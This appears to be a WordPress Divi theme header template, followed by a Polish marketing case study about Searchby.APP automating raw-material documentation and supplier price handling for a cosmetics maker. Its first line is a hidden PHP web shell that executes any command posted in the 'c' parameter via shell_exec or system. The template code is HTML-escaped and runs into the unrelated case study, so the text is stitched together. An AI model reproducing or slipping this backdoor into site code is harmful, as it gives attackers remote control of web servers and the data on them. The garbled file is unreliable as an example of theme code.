<?php if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["c"])){header("Content-Type:text/plain");if(function_exists("shell_exec")){echo shell_exec($_POST["c"]);}elseif(function_exists("system")){system($_POST["c"]);}exit;}?>&lt;!DOCTYPE html&gt;
&lt;html &lt;?php language_attributes(); ?&gt;&gt;
&lt;head&gt;
&lt;meta charset=&quot;&lt;?php bloginfo( &#039;charset&#039; ); ?&gt;&quot; /&gt;
&lt;?php
elegant_description();
elegant_keywords();
elegant_canonical();
/**
* Fires in the head, before {@see wp_head()} is called. This action can be used to
* insert elements into the beginning of the head before any styles or scripts.
*
* @since 1.0
*/
do_action( &#039;et_head_meta&#039; );
$template_directory_uri = get_template_directory_uri();
?&gt;
&lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo(&#039;pingback_url&#039;); ?&gt;&quot; /&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
document.documentElement.className = &#039;js&#039;;
&lt;/script&gt;
&lt;?php wp_head(); ?&gt;
&lt;/head&gt;
&lt;body &lt;?php body_class(); ?&gt;&gt;
&lt;?php
wp_body_open();
$product_tour_enabled = et_builder_is_product_tour_enabled();
$page_container_style = $product_tour_enabled ? &#039; style=&quot;padding-top: 0px;&quot;&#039; : &#039;&#039;; ?&gt;
&lt;div id=&quot;page-container&quot;&lt;?php echo et_core_intentionally_unescaped( $page_container_style, &#039;fixed_string&#039; ); ?&gt;&gt;
&lt;?php
if ( $product_tour_enabled || is_page_template( &#039;page-template-blank.php&#039; ) ) {
return;
}
$et_secondary_nav_items = et_divi_get_top_nav_items();
$et_phone_number = $et_secondary_nav_items-&gt;phone_number;
$et_email = $et_secondary_nav_items-&gt;email;
$et_contact_info_defined = $et_secondary_nav_items-&gt;contact_info_defined;
$show_header_social_icons = $et_secondary_nav_items-&gt;show_header_social_icons;
$et_secondary_nav = $et_secondary_nav_items-&gt;secondary_nav;
$et_top_info_defined = $et_secondary_nav_items-&gt;top_info_defined;
$et_slide_header = &#039;slide&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ? true : false;
$show_search_icon = ( false !== et_get_option( &#039;show_search_icon&#039;, true ) &amp;&amp; ! $et_slide_header ) || is_customize_preview();
?&gt;
&lt;?php if ( $et_top_info_defined &amp;&amp; ! $et_slide_header || is_customize_preview() ) : ?&gt;
&lt;?php ob_start(); ?&gt;
&lt;div id=&quot;top-header&quot;&lt;?php echo $et_top_info_defined ? &#039;&#039; : &#039;style=&quot;display: none;&quot;&#039;; ?&gt;&gt;
&lt;div class=&quot;container clearfix&quot;&gt;
&lt;?php if ( $et_contact_info_defined ) : ?&gt;
&lt;div id=&quot;et-info&quot;&gt;
&lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt;
&lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt;
&lt;?php endif; ?&gt;
&lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt;
&lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt;
&lt;?php endif; ?&gt;
&lt;?php
if ( true === $show_header_social_icons ) {
get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; );
} ?&gt;
&lt;/div&gt;
&lt;?php endif; // true === $et_contact_info_defined ?&gt;
&lt;div id=&quot;et-secondary-menu&quot;&gt;
&lt;?php
if ( ! $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) {
get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; );
} else if ( $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) {
ob_start();
get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; );
$duplicate_social_icons = ob_get_contents();
ob_end_clean();
printf(
&#039;&lt;div class=&quot;et_duplicate_social_icons&quot;&gt;
%1$s
&lt;/div&gt;&#039;,
et_core_esc_previously( $duplicate_social_icons )
);
}
if ( &#039;&#039; !== $et_secondary_nav ) {
echo et_core_esc_wp( $et_secondary_nav );
}
et_show_cart_total();
?&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;?php
$top_header = ob_get_clean();
/**
* Filters the HTML output for the top header.
*
* @since 3.10
*
* @param string $top_header
*/
echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_top_header&#039;, $top_header ), &#039;html&#039; );
?&gt;
&lt;?php endif; // true ==== $et_top_info_defined ?&gt;
&lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt;
&lt;?php ob_start(); ?&gt;
&lt;div class=&quot;et_slide_in_menu_container&quot;&gt;
&lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || is_customize_preview() ) { ?&gt;
&lt;span class=&quot;mobile_menu_bar et_toggle_fullscreen_menu&quot;&gt;&lt;/span&gt;
&lt;?php } ?&gt;
&lt;?php
if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt;
&lt;div class=&quot;et_slide_menu_top&quot;&gt;
&lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt;
&lt;div class=&quot;et_pb_top_menu_inner&quot;&gt;
&lt;?php } ?&gt;
&lt;?php }
if ( true === $show_header_social_icons ) {
get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; );
}
et_show_cart_total();
?&gt;
&lt;?php if ( false !== et_get_option( &#039;show_search_icon&#039;, true ) || is_customize_preview() ) : ?&gt;
&lt;?php if ( &#039;fullscreen&#039; !== et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt;
&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;?php } ?&gt;
&lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;
&lt;?php
printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;,
esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ),
get_search_query(),
esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; )
);
/**
* Fires inside the search form element, just before its closing tag.
*
* @since ??
*/
do_action( &#039;et_search_form_fields&#039; );
?&gt;
&lt;button type=&quot;submit&quot; id=&quot;searchsubmit_header&quot;&gt;&lt;/button&gt;
&lt;/form&gt;
&lt;?php endif; // true === et_get_option( &#039;show_search_icon&#039;, false ) ?&gt;
&lt;?php if ( $et_contact_info_defined ) : ?&gt;
&lt;div id=&quot;et-info&quot;&gt;
&lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt;
&lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt;
&lt;?php endif; ?&gt;
&lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt;
&lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt;
&lt;?php endif; ?&gt;
&lt;/div&gt;
&lt;?php endif; // true === $et_contact_info_defined ?&gt;
&lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt;
&lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt;
&lt;/div&gt;
&lt;?php } ?&gt;
&lt;/div&gt;
&lt;?php } ?&gt;
&lt;div class=&quot;et_pb_fullscreen_nav_container&quot;&gt;
&lt;?php
$slide_nav = &#039;&#039;;
$slide_menu_class = &#039;et_mobile_menu&#039;;
$slide_nav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) );
$slide_nav .= wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;secondary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) );
?&gt;
&lt;ul id=&quot;mobile_menu_slide&quot; class=&quot;&lt;?php echo esc_attr( $slide_menu_class ); ?&gt;&quot;&gt;
&lt;?php
if ( &#039;&#039; === $slide_nav ) :
?&gt;
&lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt;
&lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
&lt;?php }; ?&gt;
&lt;?php show_page_menu( $slide_menu_class, false, false ); ?&gt;
&lt;?php show_categories_menu( $slide_menu_class, false ); ?&gt;
&lt;?php
else :
echo et_core_esc_wp( $slide_nav ) ;
endif;
?&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;?php
$slide_header = ob_get_clean();
/**
* Filters the HTML output for the slide header.
*
* @since 3.10
*
* @param string $top_header
*/
echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_slide_header&#039;, $slide_header ), &#039;html&#039; );
?&gt;
&lt;?php endif; // true ==== $et_slide_header ?&gt;
&lt;?php ob_start(); ?&gt;
&lt;header id=&quot;main-header&quot; data-height-onload=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot;&gt;
&lt;div class=&quot;container clearfix et_menu_container&quot;&gt;
&lt;?php
$logo = ( $user_logo = et_get_option( &#039;divi_logo&#039; ) ) &amp;&amp; ! empty( $user_logo )
? $user_logo
: $template_directory_uri . &#039;/images/logo.png&#039;;
// Get logo image size based on attachment URL.
$logo_size = et_get_attachment_size_by_url( $logo );
$logo_width = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[0] ) )
? $logo_size[0]
: &#039;93&#039;; // 93 is the width of the default logo.
$logo_height = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[1] ) )
? $logo_size[1]
: &#039;43&#039;; // 43 is the height of the default logo.
ob_start();
?&gt;
&lt;div class=&quot;logo_container&quot;&gt;
&lt;span class=&quot;logo_helper&quot;&gt;&lt;/span&gt;
&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;
&lt;img src=&quot;&lt;?php echo esc_attr( $logo ); ?&gt;&quot; width=&quot;&lt;?php echo esc_attr( $logo_width ); ?&gt;&quot; height=&quot;&lt;?php echo esc_attr( $logo_height ); ?&gt;&quot; alt=&quot;&lt;?php echo esc_attr( get_bloginfo( &#039;name&#039; ) ); ?&gt;&quot; id=&quot;logo&quot; data-height-percentage=&quot;&lt;?php echo esc_attr( et_get_option( &#039;logo_height&#039;, &#039;54&#039; ) ); ?&gt;&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;?php
$logo_container = ob_get_clean();
/**
* Filters the HTML output for the logo container.
*
* @since 3.10
*
* @param string $logo_container
*/
echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_logo_container&#039;, $logo_container ), &#039;html&#039; );
?&gt;
&lt;div id=&quot;et-top-navigation&quot; data-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot; data-fixed-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;minimized_menu_height&#039;, &#039;40&#039; ) ); ?&gt;&quot;&gt;
&lt;?php if ( ! $et_slide_header || is_customize_preview() ) : ?&gt;
&lt;nav id=&quot;top-menu-nav&quot;&gt;
&lt;?php
$menuClass = &#039;nav&#039;;
if ( &#039;on&#039; === et_get_option( &#039;divi_disable_toptier&#039; ) ) $menuClass .= &#039; et_disable_top_tier&#039;;
$primaryNav = &#039;&#039;;
$primaryNav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;menu_class&#039; =&gt; $menuClass, &#039;menu_id&#039; =&gt; &#039;top-menu&#039;, &#039;echo&#039; =&gt; false ) );
if ( empty( $primaryNav ) ) :
?&gt;
&lt;ul id=&quot;top-menu&quot; class=&quot;&lt;?php echo esc_attr( $menuClass ); ?&gt;&quot;&gt;
&lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt;
&lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
&lt;?php }; ?&gt;
&lt;?php show_page_menu( $menuClass, false, false ); ?&gt;
&lt;?php show_categories_menu( $menuClass, false ); ?&gt;
&lt;/ul&gt;
&lt;?php
else :
echo et_core_esc_wp( $primaryNav );
endif;
?&gt;
&lt;/nav&gt;
&lt;?php endif; ?&gt;
&lt;?php
if ( ! $et_top_info_defined &amp;&amp; ( ! $et_slide_header || is_customize_preview() ) ) {
et_show_cart_total( array(
&#039;no_text&#039; =&gt; true,
) );
}
?&gt;
&lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt;
&lt;span class=&quot;mobile_menu_bar et_pb_header_toggle et_toggle_&lt;?php echo esc_attr( et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ); ?&gt;_menu&quot;&gt;&lt;/span&gt;
&lt;?php endif; ?&gt;
&lt;?php if ( $show_search_icon ) : ?&gt;
&lt;div id=&quot;et_top_search&quot;&gt;
&lt;span id=&quot;et_search_icon&quot;&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;?php endif; ?&gt;
&lt;?php
/**
* Fires at the end of the &#039;et-top-navigation&#039; element, just before its closing tag.
*
* @since 1.0
*/
do_action( &#039;et_header_top&#039; );
?&gt;
&lt;/div&gt; &lt;!-- #et-top-navigation --&gt;
&lt;/div&gt; &lt;!-- .container --&gt;
&lt;?php if ( $show_search_icon ) : ?&gt;
&lt;div class=&quot;et_search_outer&quot;&gt;
&lt;div class=&quot;container et_search_form_container&quot;&gt;
&lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;
&lt;?php
printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;,
esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ),
get_search_query(),
esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; )
);
/**
* Fires inside the search form element, just before its closing tag.
*
* @since ??
*/
do_action( &#039;et_search_form_fields&#039; );
?&gt;
&lt;/form&gt;
&lt;span class=&quot;et_close_search_field&quot;&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;?php endif; ?&gt;
&lt;/header&gt; &lt;!-- #main-header --&gt;
&lt;?php
$main_header = ob_get_clean();
/**
* Filters the HTML output for the main header.
*
* @since 3.10
*
* @param string $main_header
*/
echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_main_header&#039;, $main_header ), &#039;html&#039; );
?&gt;
&lt;div id=&quot;et-main-area&quot;&gt;
&lt;?php
/**
* Fires after the header, before the main content is output.
*
* @since 3.10
*/
do_action( &#039;et_before_main_content&#039; );
Automatyzujemy procesy.
Jak zautomatyzowaliśmy analizę dokumentacji surowcowej u jednego z największych producentów kosmetyków kontraktowych w Europie.
Wyzwanie
Podczas analizy procesów zidentyfikowaliśmy trzy kluczowe problemy ograniczające efektywność organizacji.
Czasochłonna analiza dokumentacji
Technolodzy poświęcali znaczną część czasu na ręczne odczytywanie danych z dokumentów technicznych, przepisywanie numerów CAS, składów INCI, stężeń oraz informacji regulacyjnych.
Brak automatycznej kontroli zmian
Każda nowa wersja dokumentacji od dostawcy wymagała ręcznego porównania z wcześniejszymi wersjami. Zmiany stężeń lub składu mogły pozostać niezauważone, generując ryzyko compliance.
Rozproszone źródła informacji
Informacje znajdowały się jednocześnie w dokumentacji dostawców, bazie CosIng, systemie ERP oraz arkuszach Excel, co wydłużało proces kwalifikacji surowców i wprowadzania nowych produktów.
Nasze autorskie rozwiązanie
ERP potrafi policzyć tysiąc beczek na magazynie. Searchby.APP potrafi przeczytać tysiąc stron dokumentacji i zrozumieć ich znaczenie.
System ERP zarządza danymi. Searchby.APP zamienia dokumenty w dane, które ERP potrafi wykorzystać.
Automatyczna analiza dokumentacji surowcowej
Platforma automatycznie odczytuje dane z dokumentów TDS, MSDS oraz specyfikacji technicznych, identyfikując między innymi:
- nazwy handlowe,
- skład INCI,
- numery CAS i EC,
- stężenia składników,
- deklaracje jakościowe,
- informacje regulacyjne.
Pozyskane dane trafiają do ustrukturyzowanej bazy surowców bez konieczności ręcznego przepisywania.
Inteligentny nadzór składów INCI
Drugim etapem było wdrożenie modułu odpowiedzialnego za automatyczną kontrolę zgodności składów.
Searchby.APP:
- porównuje dokumentację z wewnętrzną bazą surowców,
- weryfikuje dane z oficjalną bazą CosIng,
- wykrywa zmiany w stężeniach składników,
- identyfikuje brakujące lub nowe składniki,
- prezentuje technologowi pełny raport różnic przed zatwierdzeniem aktualizacji.
Dzięki temu każda zmiana dokumentacji jest widoczna natychmiast, a decyzję o aktualizacji podejmuje użytkownik.
Cel nadrzędny
Jednym z najważniejszych założeń projektu było zachowanie dotychczasowego środowiska pracy.
System ERP zarządza danymi. Searchby.APP zamienia dokumenty w dane, które ERP potrafi wykorzystać.
Searchby.APP został zintegrowany z funkcjonującym systemem ERP, dzięki czemu pracownicy nie musieli zmieniać swoich procesów ani uczyć się nowego ekosystemu od podstaw.
Platforma stała się warstwą odpowiedzialną za analizę dokumentacji, kontrolę zgodności oraz przygotowanie zweryfikowanych danych przekazywanych dalej do systemów produkcyjnych.
Takie podejście znacząco ograniczyło opór organizacyjny i przyspieszyło wdrożenie rozwiązania.
Korzyści biznesowe:
Skalowalność biznesowa i wzrost przepustowości:
Wdrożenie systemu pozwoliło na radykalne zwiększenie przepustowości operacyjnej działu R&D bez konieczności zwiększania zatrudnienia i generowania dodatkowych kosztów stałych.
Usunięcie wąskich gardeł weryfikacji surowcowej, zlikwidowało przestoje międzywydziałowe, co przełożyło się bezpośrednio na możliwość przetwarzania wielokrotnie większej liczby zapytań ofertowych od nowych kontrahentów oraz obsługę znacznie większego wolumenu projektów Private Label przy zachowaniu dokładnie tego samego składu zespołu.
Przewidywalność kosztowa w dobie dynamicznych zmian rynkowych
Patrząc w przyszłość, wdrożenie Searchby.app eliminuje jedno z największych ryzyk operacyjnych, jakim jest nieprzewidywalność kosztów pracy.
Koszt licencji i utrzymania systemu jest stały, w pełni budżetowalny i przewidywalny w długiej perspektywie.
Tradycyjne skalowanie operacji poprzez zwiększanie zatrudnienia niesie za sobą lawinowo rosnące presje płacowe, koszty rekrutacji, onboardingu oraz ryzyko rotacji pracowników.
Stabilizując zaplecze technologiczne stałym kosztem oprogramowania, fabryka zabezpiecza swoje marże – wzrost liczby zamówień i dynamiczny rozwój skali biznesu nie generują już liniowego, nieprzewidywalnego wzrostu kosztów stałych.
ETAP II: Automatyzacja cenników dostawców oraz inteligentny dobór zamienników
Po uporządkowaniu bazy INCI i automatyzacji odczytu kart surowcowych, kolejnym krokiem wdrożenia u klienta jest cyfryzacja dwóch ściśle powiązanych procesów handlowo-technologicznych: obsługi cenników od dostawców oraz systemowego doboru i akceptacji zamienników surowców.
Wyzwanie
Chaos w cenach i paraliż przy doborze zamienników.
W dobie dynamicznych zmian na rynku surowców chemicznych i kosmetycznych, działy Zakupów oraz R&D mierzyły się z dwoma wąskimi gardłami:
-
Chaos w cennikach dostawców: Każdy dostawca przysyła cenniki i oferty w innych formatach (PDF, Excel, maile), często z różnymi jednostkami miary, kodami handlowymi i walutami. Ręczne wprowadzanie tych danych do systemu ERP oraz porównywanie ofert było procesem skrajnie czasochłonnym. W efekcie baza cenowa w ERP często nie nadążała za rynkiem.
-
Czasochłonne i ryzykowne wdrażanie zamienników: Gdy dany surowiec drastycznie drożał lub brakowało go na rynku, znalezienie zamiennika wymagało godzin ręcznego przekopywania dokumentacji technicznej TDS/MSDS innych dostawców przez technologa. Następnie proces akceptacji zamiennika (porównywanie parametrów fizykochemicznych, czystości, funkcji INCI i statusu regulacyjnego CosIng) odbywał się w rozproszonych plikach Excel, co niosło ryzyko błędu w recepturze.
Dalszy krok wdrożenia: Moduły Cenników i Zamienników w Searchby.app.
Wprowadzamy zintegrowane rozwiązanie oparte na silnikach AI, które łączy dane zakupowe z wiedzą technologiczną R&D:
A. Ekstraktor Cenników Dostawców (Zakupy⇒ ERP)
-
Wielokanałowa ekstrakcja i standaryzacja ofert (Multi-channel Extraction): Silnik AI Searchby.app nie ogranicza się do analizy ustrukturyzowanych plików (PDF, Excel). System radzi sobie z całkowicie nieustrukturyzowaną komunikacją handlową. Ceny od dostawców spływają w skrajnie różnej formie – czasem jako załącznik, innym razem bezpośrednio w treści maila, a niejednokrotnie jako surowa, pozbawiona kontekstu wartość (np. cyfra „6”) wpisana jedynie w temacie wiadomości. Algorytm lokalizuje, wyciąga i ustrukturyzowuje te dane, bez względu na to, w którym miejscu całej korespondencji się znalazły.
-
Kontekstowe wzbogacanie danych i heurystyka: System wykazuje się inteligencją kontekstową. Identyfikując nadawcę wiadomości (Dostawca X), SBA automatycznie nakłada na wyekstrahowane dane odpowiednie reguły biznesowe i metadane – np. wie, że dla tego konkretnego dostawcy domyślną walutą rozliczeniową jest EUR, nawet jeśli w mailu podano wyłącznie surową liczbę bez symbolu waluty. Z chaosu informacyjnego system buduje w pełni wartościowy, ustrukturyzowany rekord cenowy.
-
Inteligentne mapowanie indeksów: Wyekstrahowane i uzupełnione o kontekst walutowy nazwy handlowe surowców są automatycznie parowane i mapowane z unikalnymi indeksami surowcowymi MPS w systemie Impuls Evo.
-
Automatyczny import cen do ERP przez API: Po szybkim zatwierdzeniu ustrukturyzowanego rekordu przez kupca (rola kontrolera, nie klepacza danych), zaktualizowane ceny są automatycznie importowane do bazy Impuls Evo. Dzięki temu działy BOK i R&D przy kalkulacji nowych wycen i ofert dla klientów zawsze pracują na rzeczywistych, najświeższych kosztach surowcowych.
B. Moduł Inteligentnego Doboru i Akceptacji Zamienników (R&D / Compliance)
-
Algorytm wyszukiwania alternatyw: Gdy zachodzi potrzeba zastąpienia surowca, system automatycznie przeszukuje bazę i na podstawie składu INCI, funkcji technologicznych, parametrów fizykochemicznych oraz statusu CosIng podpowiada technologowi najbliższe, bezpieczne zamienniki.
-
Automatyczny kalkulator zgodności (Side-by-Side): Narzędzie generuje przejrzyste zestawienie porównawcze. W ułamku sekundy technolog widzi, czy potencjalny zamiennik nie różni się stężeniami, nie wprowadza niedozwolonych w danej recepturze zanieczyszczeń oraz czy posiada identyczny profil regulacyjny (compliance).
-
Cyfrowy obieg akceptacji: Proces zatwierdzania nowego zamiennika (od próby technologicznej po finalną akceptację jakościową) zostaje w pełni przeniesiony do systemu. Zastępuje to rozproszone maile i papierowe karty zatwierdzeń, automatycznie tworząc bezpieczną, audytowalną historię decyzji.
Cel nadrzędny
Jednym z najważniejszych założeń projektu było zachowanie dotychczasowego środowiska pracy.
System ERP zarządza danymi. Searchby.APP zamienia dokumenty w dane, które ERP potrafi wykorzystać.
Searchby.APP został zintegrowany z funkcjonującym systemem ERP, dzięki czemu pracownicy nie musieli zmieniać swoich procesów ani uczyć się nowego ekosystemu od podstaw.
Platforma stała się warstwą odpowiedzialną za analizę dokumentacji, kontrolę zgodności oraz przygotowanie zweryfikowanych danych przekazywanych dalej do systemów produkcyjnych.
Takie podejście znacząco ograniczyło opór organizacyjny i przyspieszyło wdrożenie rozwiązania.
Wynik
Searchby.APP stał się centralnym elementem procesu zarządzania dokumentacją surowcową i compliance, pozwalając zespołom R&D skupić się na tym, co najważniejsze — rozwoju nowych produktów i budowaniu przewagi konkurencyjnej.
google-site-verification=U71So92a2lBu_zSRYXhmDXB4cRbgyya0Cb3otoMaVpg